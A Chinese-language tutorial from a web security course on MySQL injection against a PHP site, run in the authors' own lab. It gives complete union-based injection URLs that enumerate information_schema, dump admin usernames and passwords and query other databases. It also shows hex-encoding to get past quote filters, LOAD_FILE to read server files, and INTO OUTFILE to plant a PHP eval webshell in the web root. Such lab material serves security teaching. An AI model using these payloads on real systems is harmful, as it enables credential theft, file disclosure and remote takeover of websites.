第42天:WEB攻防-PHP应用MYSQL架构SQL注入跨库查询文件读写权限操作
时间轴:
42天知识点总结:
1.root用户与用户A,用户B对数据库的管理区别
2.获取相关数据:
1、数据库版本-看是否符合information_schema查询-version()
2、数据库用户-看**是否符合ROOT型注入攻击-user()**
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()3.infomation_schema的介绍及如何查询。
4.如何一步一步获取数据
5.进行root的跨库查询,且单引号16进制绕过方法。
6.文件写入1.root ,2.secure_file_priv=
MYSQL注入:(目的获取当前web权限)
1、判断常见四个信息(系统,用户,数据库名,版本)
2、根据四个信息去选择方案
- root用户:先测试读写,后测试获取数据
- 非root用户:直接测试获取数据
知识点:
1、PHP-MYSQL-SQL注入-常规查询
2、PHP-MYSQL-SQL注入-跨库查询
3、PHP-MYSQL-SQL注入-文件读写
演示案例:
PHP-MYSQL-Web 组成架构
PHP-MYSQL-SQL 常规查询
PHP-MYSQL-SQL 跨库查询
PHP-MYSQL-SQL 文件读写
PHP-MYSQL-Web 组成架构
服务器安装 MYSQL 数据库,搭建多个站点,数据库集中存储 MYSQL 数据库中管理可以都使用 root 用户管理也可以创建多个用户进行每个网站对应的数据库管理1 、统一交 root 用户管理www.zblog.com = zblog = root =>MYSQLwww.demo01.com = demo01 = root =>MYSQL2 、一对一用户管理(推荐)www.zblog.com = zblog = zblog =>MYSQLwww.demo01.com = demo01 = demo01 =>MYSQL
首先进行网站搭建:
1.将网站放入demo01放入phpstudy中然后使用phpstorm打开。
2.
1、连接数据库
2、创建数据库(demo01)
3、选择数据库demo01导入sql执行
如不是数据库名demo01,需修改config.php文件里面的配置的数据库名信息
1.root用户与用户A,用户B对数据库的管理区别
对于root用户:
root一个人管所有。
对于非root用户:
一人管一个。
对比:
demo0521只能看到自己,而root都可以看到。
PHP-MYSQL-SQL常规查询
1.SQL注人的概念
原理:接受的参数值未进行过滤直接带入SQL查询的操作
攻击:利用SQL语句执行你想要的东西(SQL语句能干嘛,注人就能干嘛)
SQL语句能干嘛⇒SQL语句由谁决定⇒数据库类型决定〈为什么mysql注入。oracle注人叫法原因)
access注入与mysql的区别:
2.SQL注人的流程介绍:
获取相关数据:
1、数据库版本-看是否符合information_schema查询-version()
2、数据库用户-看**是否符合ROOT型注入攻击-user()**
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()
infomation_schema介绍:
information_schema:存储数据库下的数据库名及表名,列名信息的数据库
information_schema.schemata:记录数据库名信息的表
information_schema.tables:记录表名信息的表
information_schema.columns:记录列名信息表
schema_name:information_schema.schemata记录**数据库名信息的列名值**
table_schema:information_schema.tables记录**数据库名的列名值**
table_name:information_schema.tables记录**表名的列名值**
column_name:information_schema.columns**记录列名的列名值**
解释:
原数据库数据(相对应):
1.information_schema.schemata:记录数据库名信息的表
information_schema.schemata中的.意思是在information_schema下面查找schemata
举例:(.的意思)
我要搜索的是root下面的wolive_admin的表。
使用查询语句:
会显示在demo01下查询不到表(因为他们不在一个目录下)。
若加上root.就会成功。
2.information_schema.tables:记录表名信息的表
3.information_schema.columns:记录列名信息表
3.SQL注人的流程:获取数据→一步一步得到信息
1.order by 6
:这是一个排序语句,指示按照第6列进行排序。
-
实战中,需要进行判断注入的列名有几个。
-
有的话页面正常执行
-
没有即会报错
-
如:该表存在6列,输入7后会报错
order by 6 会正常显示:
order by 7 会报错:
数据正好也只有6列:
证明有6列。
也可以使用网上插件。
2.union select 1,2,3,4,5,6:这是一个UNION查询,用于将多个SELECT语句的结果合并在一起。在这个例子中,它选择了6个列,每个SELECT语句都返回常量值。
- 发现执行后回显的数据:分别出现在网页署名(2),正标题(3),副标题(4),次标题(5)
- 如果没有回显数据,则在查询id加入负号即可http://192.168.137.1:84/new.php?id=-1 union select 1,2,3,4,5,6(使其进行报错)
- 查找回显的作用:可以判断后期注入查询返回的数据,可以在页面中显示出来;
3.union select 1,2,3,database(),user(),6
:这个UNION查询选择了6个列,并在第4列返回数据库名称,第5列返回当前用户,其他列返回常量值。
4.union select 1,2,3,version(),@@version_compile_os,6
:这个UNION查询选择了6个列,并在第4列返回数据库版本,第5列返回操作系统信息,其他列返回常量值。
- 返回数据库版本原因:MYSQL5.0以上版本:自带的数据库名information_schema(只有5.0以上的版本才可以实行下一步查询)
- 返回操作系统信息原因:如果是Linux系统对于后面的查询信息,大小写特定敏感
已找到数据库demo01
5.union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01':这个UNION查询选择了6个列,并从information_schema.tables表中返回指定数据库(demo01)中的所有表名的组合字符串。
- information_schema.tables表记录表名信息的表
table_schema
:information_schema.tables记录**数据库名的列名值
**table_name
:information_schema.tables记录**表名的列名值
**- group_concat()是全部查询出来
实质上就是获取demo01下的这三个值:
6.union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_schema='demo01' and table_name='admin':这个UNION查询选择了6个列,并从information_schema.columns表中返回指定表(admin)中的所有列名的组合字符串。
-
information_schema.columns
记录列名信息表 -
table_name
:information_schema.tables记录**表名的列名值
** -
column_name:
information_schema.columns**记录列名的列名值**
7.union select 1,2,3,username,password,6 from admin limit 0,1
:这个UNION查询选择了6个列,并从admin表中返回第一行记录的用户名和密码。
- limit 0,1代表是查询第一条。
- limit 0,2代表是查询第二条。
若没显示可以用id=-1来使其报错显示。
http://172.20.10.6/new.php?id=-1 union select 1,2,3,username,password,6 from admin limit 0,1
http://172.20.10.6/new.php?id=-1 union select 1,2,3,username,password,6 from admin limit 0,2
也可以是使用
http://172.20.10.6/new.php?id=-1 union select 1,2,3,username,password,6 from admin where id =1
对应以下数据:
【SQL注入]limit的基础运用_limit注入-CSDN博客】
PHP-MYSQL-SQL跨库查询
影响条件:当前数据库ROOT用户权限
1.先查看是否是root:
2.跨库查询顺序
1.union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata: 通过 information_schema.schemata 表获取所有数据库的名称,并将这些名称连接成一个字符串。
2.union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='zblog': 通过 information_schema.tables 表获取 ‘zblog’ 数据库中所有表的名称,并将这些名称连接成一个字符串。
3.union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='zbp_member' and table_schema='zblog': 通过 information_schema.columns 表获取 ‘zblog’ 数据库中 ‘zbp_member’ 表的所有列名,并将这些列名连接成一个字符串。
4.union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member: 尝试从 ‘zblog’ 数据库的 ‘zbp_member’ 表中选择 mem_Name 和 mem_Password 列的数据,限制结果集为一个行。
记住使用.来进行跨库查询
3.注意事项
注意:由于是跨库操作,在此刻必须指明是哪个数据库的表名
from zblog.zbp_member
:- 不然会进行报错
- 表示
mysqli_query
返回的结果不是有效的mysqli_result
对象,而是布尔值false
,可能是由于 SQL 查询执行失败。
必须数据库权限是ROOT用户权限→才可以进行跨库:
root权限:
普通权限:
单引号过滤绕过方式:
可以使用单引号绕过warf等。
SQL注入语句使用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)注意:在编码后执行SQL注入时候要在编码前加0x
当在编码后执行SQL注入时,如果要将编码后的Payload作为十六进制值直接传递给SQL语句,需要在编码前添加0x前缀。这是因为在许多DBMS中,0x前缀用于指示后续的字符串是十六进制值。
Hex编码(十六进制编码)是一种将数据转换为十六进制数字表示的编码方式。这种编码方式广泛用于表示二进制数据,例如在网络通信、编码传输、调试和数据存储中。
使用软件:CaptfEncoder:
举例:
union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='zblog' 可以改为union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=0x7a626c6f67
PHP-MYSQL-SQL文件读写:
条件1:
在root里面:
在普通用户下:
条件2:
secure_file_priv= 这个存在
secure_file_priv 是 MySQL 数据库中的一个系统变量,用于限制使用 LOAD DATA INFILE 和 SELECT ... INTO OUTFILE 语句时可以读取和写入的文件的路径。这个变量通常用于提高数据库的安全性,防止用户滥用这些语句导致的文件系统访问。
如果设置了这个变量,MySQL 将仅允许在指定的路径下进行文件的读取和写入操作。
如果没有设置,MySQL 将默认使用空值,表示都可以查询使用。
例如,如果 secure_file_priv 被设置为 f:\\,那么在执行 LOAD DATA INFILE 或 SELECT ... INTO OUTFILE 时,只允许读写位于 f:\\ 目录下的文件。
演示:
1.将1.txt信息获取出来
http://172.20.10.6/new.php?id=1 union select 1,2,3,LOAD_FILE("d:\\1.txt"),5,6
union select 1,2,3,LOAD_FILE("d:\\1.txt"),5,6使用此语句将1.txt读取出来
load_file
函数加载本地文件 ‘d:\1.txt’ 的内容,并将其作为查询结果的一部分返回。
2.如何获取权限:
http://172.20.10.6/new.php?id=1 union select 1,2,3,'<?php eval($_POST[x]);?>',5,6 into outfile 'E:\\phpstudy\\phpstudy_pro\\WWW\\demo01\\1.php'
其中将union select 1,2,3,'<?php eval($_POST[x]);?>',5,6 into outfile 'E:\\phpstudy\\phpstudy_pro\\WWW\\demo01\\1.php'从中将一句话放入文件当中
如何获取读取路径呢?
1.通常中间件这些由文件:(读敏感文件)
E:\phpstudy\phpstudy_pro\Extensions\Apache2.4.39\conf\vhosts
2、报错显示获取路径,容错显示。
3、phpinfo页面泄漏
如果不知道路径思路:
用常见的默认的中间件,数据库等安装路径读取有价值信息
load_file()常用路径:load_file()常用路径_load file 目录-CSDN博客
本文章借用思路:
https://blog.csdn.net/wushangyu32335/article/details/136197586?spm=1001.2014.3001.5502
本文章由李豆豆喵和番薯小羊卷共同完成。